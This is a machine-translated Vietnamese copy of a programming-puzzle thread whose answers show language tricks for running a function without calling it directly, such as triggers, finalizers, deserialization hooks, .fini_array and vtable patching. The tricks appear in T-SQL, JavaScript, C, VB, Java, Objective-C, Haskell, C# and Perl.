@ D.Kasipovic Loại, người ta có thể tranh luận rằng bạn đang trực tiếp gọi nó, chỉ theo một cách khác. Tôi đã chọn cách tiếp cận hiện tại của mình vì tôi thích nghĩ bên ngoài chiếc hộp. Tôi có thể chỉ đăng ký chức năng như một callback để register_tick_function(), register_shutdown_function()hoặc spl_autoload_register()tương tự như Python câu trả lời @ GRC, nhưng tôi cảm thấy như đó là 'gian lận' và lấy lối thoát dễ dàng.
Tony Ellis


7

T-SQL

Đó là một tính năng được xây dựng. Kích hoạt cho chiến thắng!

Nếu bạn thực sự muốn vui vẻ với nó, hãy tạo ra một loạt các kích hoạt INSTEAD OF vào ngày Cá tháng Tư.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Các kết quả:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Rất chơi khăm. Lulz như vậy. Ồ

Tinker mở rộng nó trên SQLFiddle.


2
Kích hoạt luôn có được tôi, là một nhà phát triển ứng dụng, tôi không bao giờ mong đợi chúng.
Matthew

7

JavaScript

Trong bảng điều khiển Firefox:

    this.toString = function(){alert('Wow')};

Sau đó, chỉ cần bắt đầu nhập bất cứ thứ gì trong bảng điều khiển - Firefox gọi .toString()nhiều lần khi bạn đang gõ trong bảng điều khiển.

Cách tiếp cận tương tự là:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

Nền tảng của sự lựa chọn là Linux. Chúng tôi không thể gọi chức năng của mình, vì vậy chúng tôi sẽ có trình liên kết của chúng tôi thực hiện thay thế:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Làm thế nào để có được địa chỉ ma thuật?

Chúng tôi đang dựa vào Đặc tả lõi cơ sở tiêu chuẩn của Linux, cho biết:

.fini_array

Phần này chứa một mảng các con trỏ hàm đóng góp vào một mảng kết thúc duy nhất cho đối tượng thực thi hoặc chia sẻ có chứa phần đó.

  1. Biên dịch mã:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Kiểm tra địa chỉ của .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Tìm VMA của nó:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

và thay thế giá trị đó cho ADDRESS.


5

VB6 và VBA

Không chắc điều này có đủ điều kiện hay không, bởi vì nó đang gọi một phương thức của một lớp:

Điều này đi trong một mô-đun lớp:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

Và đây là mã "gọi":

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

Điều này hoạt động bằng cách hoán đổi hàm vptr cho hai Dự bị trong vtable cho lớp.


Anh bạn thật nguy hiểm ! Đẹp quá
Mathieu Guindon

Tôi muốn nói nó không đủ điều kiện, vì trong VB6 / VBA một phương pháp là thành viên của một lớp - nếu đó là một thủ tục ;)
Mathieu Guindon

5

Haskell

Trong haskell nếu bạn làm:

main=putStrLn "This is the main action."

Nó sẽ được thực thi ngay lập tức mà không cần gọi tên của nó khi bạn chạy nó. Ma thuật!


1
Haskell không tính. Bạn không thể gọi một hành động IO, chỉ xâu chuỗi thêm các hành động IO cho nó hoặc gán nó ở đâu đó.
John Dvorak

Đây là khái niệm tương đương cho các hành động IO.
PyRulez

5

Javascript

Dễ dàng, chỉ cần sử dụng on___các sự kiện trong JS. Ví dụ:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

4

Java

Câu trả lời java khác từ tôi. Như bạn thấy trong mã, nó gọi trực tiếptheCalledMethod , nhưng phương thức notCalledMethodđược thực thi thay thế.

Vì vậy, cuối cùng tôi đang làm 2 việc:

  • Gọi một phương thức mà không gọi nó.
  • Không gọi một phương thức bằng cách gọi nó.
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Chạy nó:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Đây là nền tảng phụ thuộc. Cụ thể, nó có thể sẽ thất bại trên OS X nơi mã hóa ký tự mặc định của nền tảng là UTF-8.
ntoskrnl

@ntoskrnl Điều này sẽ dễ sửa nếu bạn chuyển tên mã hóa làm tham số cho getBytes()phương thức, bật nó lên getBytes("UTF-8"). Vì tôi không có OS X, bạn có thể kiểm tra xem nó có hoạt động không?
Victor Stafusa

UTF-8 không hoạt động đối với dữ liệu nhị phân. Mã hóa một byte như ISO-8859-1 sẽ hoạt động, nhưng xử lý dữ liệu nhị phân dưới dạng chuỗi vẫn sai.
ntoskrnl

3
@ntoskrnl Trong thực tế, hãm hiếp các lớp học để làm điều tôi đang làm ở đây là sai, mã hóa là vấn đề nhỏ nhất. :)
Victor Stafusa

4

Con trăn

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

4

Java

Yay, thu gom rác!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

Một phiên bản cho những người chắc chắn sẽ nói rằng System.gc()không đáng tin cậy:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Mục tiêu-C

(Có lẽ chỉ khi được biên dịch bằng tiếng kêu trên Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

Mã này sử dụng một số thủ thuật để có được chức năng không sử dụng. Đầu tiên là giá trị 0x2A27. Đây là một con trỏ được gắn thẻ cho số nguyên 42, mã hóa giá trị trong con trỏ để tránh phân bổ một đối tượng.

Tiếp theo là MyClass. Nó không bao giờ được sử dụng, nhưng thời gian chạy gọi +loadphương thức khi nó được tải, trước đó main. Điều này tự động tạo và đăng ký một lớp mới, sử dụng NSValuenhư siêu lớp của nó. Nó cũng cho biết thêm một +loadphương pháp cho lớp đó, sử dụng MyClass's-unusedMethod như việc thực hiện. Sau khi đăng ký, nó gọi phương thức tải trên lớp mới (vì một số lý do, nó không được gọi tự động).

Vì phương thức tải của lớp mới sử dụng cùng cách thực hiện unusedMethod, nên được gọi một cách hiệu quả. Nó lấy siêu lớp của chính nó và thêm vào unusedFunctionnhư là một triển khai cho doesNotRecognizeSelector:phương thức của lớp đó . Phương thức này ban đầu là một phương thức cá thể trên MyClass, nhưng được gọi là phương thức lớp trên lớp mới, selfđối tượng lớp mới cũng vậy. Do đó, siêu lớp là NSValue, cũng là siêu lớp cho NSNumber.

Cuối cùng, mainchạy. Nó lấy giá trị con trỏ và dán nó vào một NSString *biến ( __bridgelần đầu tiên và lần đầu tiên void *cho phép điều này được sử dụng có hoặc không có ARC). Sau đó, nó cố gắng gọi stringByAppendingString:vào biến đó. Vì nó thực sự là một số, không thực hiện phương thức đó, nên doesNotRecognizeSelector:phương thức được gọi thay thế, nó đi lên qua hệ thống phân cấp lớp đến NSValuenơi nó được thực hiện bằng cách sử dụng unusedFunction.


Lưu ý: sự không tương thích với các hệ thống khác là do việc sử dụng con trỏ được gắn thẻ, điều mà tôi không tin là đã được triển khai bởi các triển khai khác. Nếu điều này được thay thế bằng một số được tạo bình thường, phần còn lại của mã sẽ hoạt động tốt.


Hừm, hãy thử với ciruZ 'ObjFW , đó là thời gian chạy và khung Objective-C khá tốt, có thể cái này hoặc cái gì đó gần gũi cũng sẽ hoạt động với nó ;-)
mirabilos

@mirabilos Sự không tương thích duy nhất trong đó là 0x2A27giá trị, vì vậy tôi không biết liệu điều đó có được thực hiện ở bất kỳ nơi nào khác không. ObjFW chắc chắn là thú vị mặc dù.
ughoavgfhw


@Bryan Cảm ơn! Tôi đang tìm bài báo chính xác đó và không thể nhớ tên thích hợp.
ughoavgfhw

@BryanChen ah được rồi. ughoavgfhw: Chắc chắn, chỉ muốn chỉ ra thời gian chạy thay thế trong trường hợp bạn muốn chơi với nó.
mirabilos

3

Javascript

Tôi cảm thấy như thế này không rõ ràng trông giống như nó đang gọi hàm

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
Đường biên giới đẹp nếu bạn hỏi tôi
Cole Johnson

@ColeJohnson Tôi nghĩ rằng anh ấy đã vượt qua nó ...
Tomas

3

C # (thông qua using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

Tôi đang tận dụng một tính năng đặc biệt của tuần tự hóa Java. Các readObjectphương pháp được gọi khi một đối tượng được deserialized, nhưng nó không trực tiếp gọi là - không phải bởi mã của tôi, cũng không phải bởi các thư viện deserialization. Nếu bạn đào sâu vào nguồn, bạn sẽ thấy rằng ở mức độ thấp, phương thức được gọi bên trong thông qua sự phản chiếu.


vâng; serialization cho phép những câu chuyện cười khá hài hước :); btw có những cách tương tự trong các
thùy

3

Perl

Điều này thật dễ dàng. Mã dưới đây tự động chạy mã trong chương trình con, ngay cả khi không có cuộc gọi rõ ràng.

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Ngay cả khi bạn bỏ qua cuộc gọi, nó vẫn sẽ được gọi chỉ một lần.


làm sao? Không thể đứng sau phép thuật +
masterX244
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.